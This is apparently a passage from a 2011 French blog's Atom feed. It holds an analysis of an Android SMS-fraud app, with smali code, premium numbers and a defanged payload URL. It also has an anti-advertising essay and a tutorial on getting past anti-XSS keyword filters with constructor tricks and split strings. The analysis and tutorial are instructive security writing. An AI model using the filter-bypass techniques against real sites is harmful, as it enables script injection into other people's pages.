&lt;span class="w"&gt;    &lt;/span&gt;invoke-virtual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;p0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;findViewById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/view/&lt;span class="nc"&gt;View&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;move-result-object&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;const/4&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-virtual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/view/&lt;span class="nc"&gt;View&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setVisibility&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;V&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;const/high16&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7f06&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-virtual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;p0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;findViewById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/view/&lt;span class="nc"&gt;View&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;move-result-object&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v5&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;check-cast&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/widget/&lt;span class="nc"&gt;TextView&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;tv&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/widget/&lt;span class="nc"&gt;TextView&lt;/span&gt;;
&lt;span class="w"&gt;    &lt;/span&gt;const/high16&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7f04&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-direct&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;p0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;loadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;move-result-object&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-virtual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/widget/&lt;span class="nc"&gt;TextView&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;CharSequence&lt;/span&gt;;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;V&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;const/4&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-static&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/text/util/&lt;span class="nc"&gt;Linkify&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;addLinks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/widget/&lt;span class="nc"&gt;TextView&lt;/span&gt;;&lt;span class="kt"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;Z&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;return-void
&lt;span class="k"&gt;.end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;method&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On voit clairement ici que le malware va récupérer la ressource id 0x7f040001, et parser le XML contenu à l'intérieur. Or, un coup de grep nous dit que la ressource 0x7f04001 appartient au fichier "sms.txt". Le malware va enfin passer en revue tous les numéros contenus dans la ressource, et envoyer un SMS à ces numéros, avant d'afficher le lien de téléchargement de l'APK.&lt;/p&gt;
&lt;p&gt;Notre malware, lors du clic sur le bouton, va donc envoyer un SMS aux numéros contenus dans la ressource à l'insu de l'utilisateur, avant d'afficher le lien de téléchargement du "vrai" navigateur. 4 fun, je vous paste le contenu de sms.txt.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;number=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;7495&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;prefix=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;amdetoi142f&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;number=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;7495&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;prefix=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;amdetoi142s&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;number=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;4446&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;prefix=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;amdetoi142&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Recherche d'informations&lt;/h2&gt;
&lt;p&gt;Le lien est stocké dans la ressource 0x7f040000, i.e link.txt, qui contient ce lien: hxxp://mini-opera-6.in/files/Opera_Mini_6_1_Android.apk. Un whois sur le domaine nous montre que ce domaine est enregistré au nom de Mikhail Denin, avec pour e-mail de contact whoismail2010@gmail.com. L'adresse IP du serveur est 188.95.54.32, qui possède 5 domaines: browserdupdate.biz, browsergupdate.com, browserfupdate.biz, browserxlupdate.com, opera-mini-6.net, pointant tous vers la même page. On peut donc conclure qu'il s'agit proablement d'une opération d'escroquerie destinée au public russe (les "conditions d'utilition" mentionnent une société nommée "Opera Soft" qui n'a aucune existence ...).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mot de la fin:&lt;/strong&gt; On peut voir que lorsqu'on tente d'installer l'application, celle-ci demande l'autorisation d'envoyer des SMS. Une question se pose alors: pourquoi un navigateur web (ou une appli devant l'installer) aurait besoin d'envoyer un SMS? Il faut donc &lt;strong&gt;TOUJOURS&lt;/strong&gt; vérifier les autorisations des applications.&lt;/p&gt;
&lt;p&gt;That's all folks ! :þ&lt;/p&gt;</content><category term="Reverse-engineering"/></entry><entry><title>La redondance de l'information</title><link href="/la-redondance-de-linformation.html" rel="alternate"/><published>2011-10-01T17:58:00+02:00</published><updated>2011-10-01T17:58:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2011-10-01:/la-redondance-de-linformation.html</id><summary type="html">&lt;p&gt;J'écris ce billet pour déjà donner signe de vie (pas vraiment eu le temps de rédiger quoi que ce soit avec ma rentrée en MPSI) et surtout, pour parler d'un problème qui est vite agaçant lors d'une recherche: l'absence de redondance de l'information.&lt;br/&gt;
Ne vous est-il jamais arrivé de faire une recherche sur Internet, de suivre un lien sur un forum qui menait sur un site qui a entre temps fermé et qui était le seul à proposer une solution convenable ?&lt;/p&gt;
</summary><content type="html">&lt;p&gt;J'écris ce billet pour déjà donner signe de vie (pas vraiment eu le temps de rédiger quoi que ce soit avec ma rentrée en MPSI) et surtout, pour parler d'un problème qui est vite agaçant lors d'une recherche: l'absence de redondance de l'information.&lt;br/&gt;
Ne vous est-il jamais arrivé de faire une recherche sur Internet, de suivre un lien sur un forum qui menait sur un site qui a entre temps fermé et qui était le seul à proposer une solution convenable ?&lt;/p&gt;


&lt;p&gt;C'est là qu'intervient la redondance de l'information. Si une information reste cantonnée sur un unique site, et que le site disparaît, c'est l'information elle-même qui disparaît aussi. Or cette information pouvait être utile pour certains utilisateurs (notamment comment synchroniser ou mettre à jour certains appareils sous Linux). C'est pourquoi placer un texte sous licence restrictive en empêchant la reproduction est une preuve de débilité profonde: en effet, si le site vient à disparaître, les données seront elles aussi perdues. Bien sûr je n'encourage pas le plagiat, mais laisser les utilisateurs republier un article en citant l'auteur originel paraît être une chose nécessaire par respect envers les internautes, qui peuvent avoir besoin d'une information particulière et qui n'ont rien à faire de l'ego surdimensionnée de l'auteur.&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Sur Twitter il existe la possibilité de "retweeter" un message, ce qui correspond au fait de publier un tweet d'un autre utilisateur dans ses tweets (en citant l'auteur d'origine). De même, le code source et les binaires de certains programmes ou certaines distributions sont dupliqués sur des dizaines de serveurs. Pourquoi donc ne pas avoir un principe similaire pour les blogs/sites internet dont les informations contenues peuvent être utiles ?</content><category term="Humour / Philosophie"/></entry><entry><title>En vrac</title><link href="/en-vrac.html" rel="alternate"/><published>2011-08-11T12:12:00+02:00</published><updated>2011-08-11T12:12:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2011-08-11:/en-vrac.html</id><summary type="html">&lt;p&gt;Pour ce premier billet du mois d'août, je ne me suis pas cassé la tête (han pas bien!), et malgré mon manque d'inspiration pour publier un billet correct, je publie quand-même un billet avec des idées (et des musiques) en vrac.&lt;br/&gt;
A noter que je ne suis pas disponible pendant une grande partie du mois d'août, ce billet risque d'être le seul du mois.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Pour ce premier billet du mois d'août, je ne me suis pas cassé la tête (han pas bien!), et malgré mon manque d'inspiration pour publier un billet correct, je publie quand-même un billet avec des idées (et des musiques) en vrac.&lt;br/&gt;
A noter que je ne suis pas disponible pendant une grande partie du mois d'août, ce billet risque d'être le seul du mois.&lt;/p&gt;


&lt;ul&gt;
&lt;li&gt;Comme vous avez pu le constater, mon blog s'est doté d'un nouveau thème. Ce thème en plus d'être plus joli à mon goût, corrige certains bugs d'affichage présents avec l'ancienne version.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.real-asm.tk/"&gt;Real ASM&lt;/a&gt;, une communauté de développeurs en assembleur que j'essaie de créer vient de faire peau neuve, avec un nouveau design et un nouveau CMS (passage de Drupal à GetSimple, beaucoup moins usine à gaz)&lt;/li&gt;
&lt;li&gt;J'en profite aussi pour partager quelques musiques (en vrac, tout comme ce billet):
 &lt;br&gt;
&lt;iframe width="100%" height="166" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/7428070"&gt;&lt;/iframe&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;iframe width="100%" height="166" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/16290966"&gt;&lt;/iframe&gt;
&lt;iframe width="100%" height="166" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/16288836"&gt;&lt;/iframe&gt;
&lt;iframe width="100%" height="166" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/4606541"&gt;&lt;/iframe&gt;
&lt;ul&gt;
&lt;li&gt;Ce billet est le résultat d'un manque cruel d'imagination.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Musique"/></entry><entry><title>On aime (pas) la publicité !</title><link href="/on-aime-pas-la-publicite.html" rel="alternate"/><published>2011-07-30T18:39:00+02:00</published><updated>2011-07-30T18:39:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2011-07-30:/on-aime-pas-la-publicite.html</id><summary type="html">&lt;p&gt;Ce billet a évidemment pour sujet ... la publicité (normal vu que c'est le titre de ce billet). Force est de constater que la publicité devient de plus en plus omniprésente, quitte à devenir un modèle économique (et oui Facebook, Twitter et autres sites ou services "gratuits" que nous utilisons sont financés grâce à la publicité).&lt;br/&gt;
Nous avons donc demandé à Félix le chat d'enquêter sur ce phénomène, qui mériterait à lui seul des livres entiers.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Ce billet a évidemment pour sujet ... la publicité (normal vu que c'est le titre de ce billet). Force est de constater que la publicité devient de plus en plus omniprésente, quitte à devenir un modèle économique (et oui Facebook, Twitter et autres sites ou services "gratuits" que nous utilisons sont financés grâce à la publicité).&lt;br/&gt;
Nous avons donc demandé à Félix le chat d'enquêter sur ce phénomène, qui mériterait à lui seul des livres entiers.&lt;/p&gt;

&lt;center&gt;&lt;img src="http://repo.aassfxxx.infos.st/img/Antipub/je_lave_mon_cerveau_a_la_pub.png"/&gt;&lt;/center&gt;

&lt;h2&gt;Les buts de la publicité&lt;/h2&gt;
&lt;p&gt;Le tout premier but de la publicité est de faire connaître son produit ou ses services à son entourage. Pour cela, il existait différents moyens, tels que le bouche-à-oreille (les clients satisfaits qui font connaître les services ou les produits dont ils sont satisfaits), les affiches publicitaires, ou encore des prospectus dans sa boîte aux lettres ou dans les guides touristiques. Ces moyens permettaient aux entreprises de pouvoir vivre en attirant des consommateurs, et ainsi faire rentrer de l'argent.&lt;/p&gt;
&lt;p&gt;Mais, d'autres moyens de communication ont fait leur apparition (radio, cinémas, Internet, télévision...) et la publicité s'y installait dès que ces moyens devenaient populaires. Cela permettait de drainer encore plus de clientèle, et donc de gagner encore plus d'argent. La publicité commençait donc à devenir la poule aux oeufs d'or pour les commerçants. Or cette forme de publicité est payante pour celui qui souhaite faire connaître son produit (et oui, ceux qui "contrôlent" les moyens de communications souhaitent se faire rénumérer pour un service qu'ils rendent), et est parfois très onéreuse, empêchant les plus petites entreprises de se faire connaître.&lt;/p&gt;
&lt;p&gt;Ainsi la plupart des publicités sur les "médias passifs" (les médias sur lesquels nous n'avons aucune interactivité comme la télévision) sont pour des grandes marques qui ont déjà plein de clients. Quel est l'intérêt alors, si ces entreprises sont déjà des usines à clients ? Tout simplement, la publicité matraquée comme elle l'est actuellement permet de nous faire penser &amp;laquo;Achète XXX, c'est bon pour ta santé!&amp;raquo;, &amp;laquo;achète YYY, tu en as besoin pour être en contact avec tes amis!&amp;raquo;, et donc de fabriquer une armée de consommateurs dociles, prêts à acheter n'importe quoi dans un système qui a besoin de flux d'argents continus et d'une "croissance" effrénée. La publicité est donc un moyen de manipulation.&lt;/p&gt;
&lt;h2&gt;Les régies publicitaires sur Internet ou comment Big Brother vous surveille&lt;/h2&gt;
&lt;p&gt;Passons maintenant à un aspect plus technique de la publicité. Afin de vous faire acheter ce que vous êtes le plus susceptible d'envier, certaines grosses régies publicitaires (qui a dit Google ?) ont inventé la &lt;strong&gt;publicité ciblée&lt;/strong&gt;, capable de savoir quels sites vous visitez, pour vous proposer le produit adapté.&lt;/p&gt;
&lt;p&gt;Le fonctionnement de ce système est très simple: les webmasters souhaitant afficher de la pub placent un script javascript sur leur site, qui se chargera d'afficher la publicité ainsi que de faire d'autres actions.&lt;br/&gt;
Le webmaster va inclure un script ressemblant à ceci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;site_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;U-666-1337M&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;scri&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pt type=\&amp;quot;text/javascript\&amp;quot; src=\&amp;quot;http://regie-publiciaire.com/track.js\&amp;quot;/&amp;gt;&amp;lt;/scr&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ipt&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Le navigateur de celui qui visite va donc aller exécuter le code javascript téléchargé depuis la régie publiciaire. Ce code exécuté est bien souvent généré dynamiquement (via PHP,ASP...). Notre régie, pour pouvoir savoir ce que nous visitons, doit donc être capable de lire les cookies de la page que nous visitons grâce à Javascript et de les renvoyer au serveur, qui mettra à jour sa session avec le cookie nous identifiant (et inversement si nous avons jamais visité le site). Ce cookie contient un identifiant unique pour chaque utilisateur, permettant de l'identifier. Le script va ensuite renvoyer l'URL site que nous visitons à la régie, et donc de permettre l'affichage des publicités associées à ce site (déterminée grâce à une analyse de mots clés par exemple).&lt;/p&gt;
&lt;p&gt;Comme vous l'aurez compris, cette technique est très dangereuse puisqu'il s'agit ni plus ni moins que ce Cross Site Scritping (XSS). Or rien ne permet de garantir que le script ne va pas chercher à enregistrer vos mots de passes saisis, grâce à une injection de code par un gouvernement (comme l'a fait &lt;a href="http://www.r00ted.com/doku.php?id=injection_tunisie"&gt;la Tunisie&lt;/a&gt;) ou par un hacker mal intentionné qui aurait compromis le serveur de la régie.&lt;/p&gt;
&lt;h2&gt;Comment se débarasser de la Peste ?&lt;/h2&gt;
&lt;p&gt;Il existe heureusement plusieurs moyens de réduire l'impact de la publicité sur notre vie. Une arme efficace consiste à couper le son de la télévision lorsque la publicité apparaît (vous pouvez aussi changer de chaîne). Au cinéma, vous pouvez arriver en retard par rapport au début de séance (le temps de retard sera à ajuster en fonction de la popularité du film sous peine de rater le début !). Enfin sur Internet, je recommande vivement l'utilisation de &lt;a href="https://addons.mozilla.org/fr/firefox/addon/noscript/"&gt;NoScript&lt;/a&gt;, qui empêchera les scripts des régies publicitaires de s'exécuter, empêchant par le fait la XSS volontaire et le danger qu'elle apporte, même si cela rend la navigation un peu moins agréable (à devoir autoriser manuellement les sites "2.0" avec du JS/Flash à gogo).&lt;/p&gt;</content><category term="Humour / Philosophie"/><category term="Publicité"/><category term="Télévision"/><category term="cinéma"/></entry><entry><title>Javascript: Evaluer du code sans eval()</title><link href="/javascript-evaluer-du-code-sans-eval.html" rel="alternate"/><published>2011-07-17T12:40:00+02:00</published><updated>2011-07-17T12:40:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2011-07-17:/javascript-evaluer-du-code-sans-eval.html</id><summary type="html">&lt;p&gt;&lt;b&gt;Des connaissances du langage Javascript peuvent être nécessaires pour la compréhension de cet article&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Traditionnellement, on utilise la fonction eval() pour évaluer un morceau de code javascript. Or cette fonction est bien souvent bloquée par la plupart des filtres anti-XSS rudimentaires. Il existe cependant beaucoup de techniques permettant de passer au travers de ces filtres, et de parvenir malgré tout à exécuter le code de notre choix.&lt;br/&gt;
Nous allons donc survoler ici quelques méthodes permettant de contourner les filtres anti-XSS.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;&lt;b&gt;Des connaissances du langage Javascript peuvent être nécessaires pour la compréhension de cet article&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Traditionnellement, on utilise la fonction eval() pour évaluer un morceau de code javascript. Or cette fonction est bien souvent bloquée par la plupart des filtres anti-XSS rudimentaires. Il existe cependant beaucoup de techniques permettant de passer au travers de ces filtres, et de parvenir malgré tout à exécuter le code de notre choix.&lt;br/&gt;
Nous allons donc survoler ici quelques méthodes permettant de contourner les filtres anti-XSS.&lt;/p&gt;


&lt;h2&gt;Créons une fonction !&lt;/h2&gt;
&lt;p&gt;En javascript, tout est objet mais aussi fonction. Ainsi, une fonction javascript est considérée comme un objet, et un objet est aussi considéré comme une fonction (compliqué tout ça, hein?). Tout cela pour dire que une fonction javascript est représentée par un objet "Function", dont le constructeur admet un argument: le code à exécuter. Le code &lt;code&gt;Function("alert('Bonjour tous!')")&lt;/code&gt; va donc créer une fonction anonyme qui affichera "Bonjour tous!" une fois appelée. Ainsi, en l'appelant juste après sa création, nous pouvons exécuter n'importe quel code de notre choix.&lt;br/&gt;
Mais l'inconvénient de cette méthode est que notre code ressemble à du javascript, et il se peut que le code soit filtré. Nous allons donc voir comment contourner tout cela.&lt;/p&gt;
&lt;h2&gt;Obfusquons notre code !&lt;/h2&gt;
&lt;p&gt;Nous allons tout d'abord prendre le cas où le mot clé "function" est bloqué (sans souci de casse, c'est-à-dire que "Function" sera aussi bloqué). Il nous faut donc retrouver le constructeur perdu. Or, si vous vous souvenez de ce que j'ai dit avant, une fonction est un objet pour javascript. Or les objets possèdent une propriété "constructor" qui renvoie le constructeur qui a servi à les créer. Le constructeur d'une fonction est donc... "Function". On va donc prendre une fonction au hasard (tiens, window.open), et s'en servir pour exécuter notre code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;open&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kr"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;alert(&amp;#39;Bonjour tous!&amp;#39;)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Maintenant, compliquons un peu la chose. Supposons que le mot clé "constructor" ainsi que "window.open" soient bloqués (ou que vous vouliez rendre votre code particulièrement illisible). Avant de continuer, il vous faut vous rappeler que la notation &lt;code&gt;objet.propriete&lt;/code&gt; équivaut à &lt;code&gt;objet["propriete"]&lt;/code&gt;. Ensuite, il faut savoir que un nombre ou une chaîne de caractères sont aussi des objets et possèdent un constructeur. Or, ce constructeur est une fonction, qui possède aussi son constructeur ... Avec tous ces renseignements, vous devriez être en mesure de contourner le blocage simple de mots clés (indice: &lt;code&gt;"constructor" == "con"+"str"+"uctor"&lt;/code&gt;). A vous de jouer!&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Avec tout ceci, nous avons pu voir que le filtrage de mots-clés est totalement inutile, puisqu'un peu de créativité de la part du hacker permet de faire disparaître totalement toute trace des mots clés bloqués. Ainsi, il est &lt;b&gt;fortement recommandé&lt;/b&gt; d'interdire aux utilisateurs d'entrer du code HTML, et de passer par des langages comme BBCode pour le formatage (attention cependant à ne pas le parser n'importe comment!).&lt;br/&gt;
